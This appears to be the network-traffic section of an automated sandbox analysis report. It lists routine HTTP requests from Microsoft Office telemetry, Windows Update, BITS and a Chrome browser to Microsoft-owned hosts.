Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AKVsZxLC8NEf7z4&MD=enY+SlWO HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
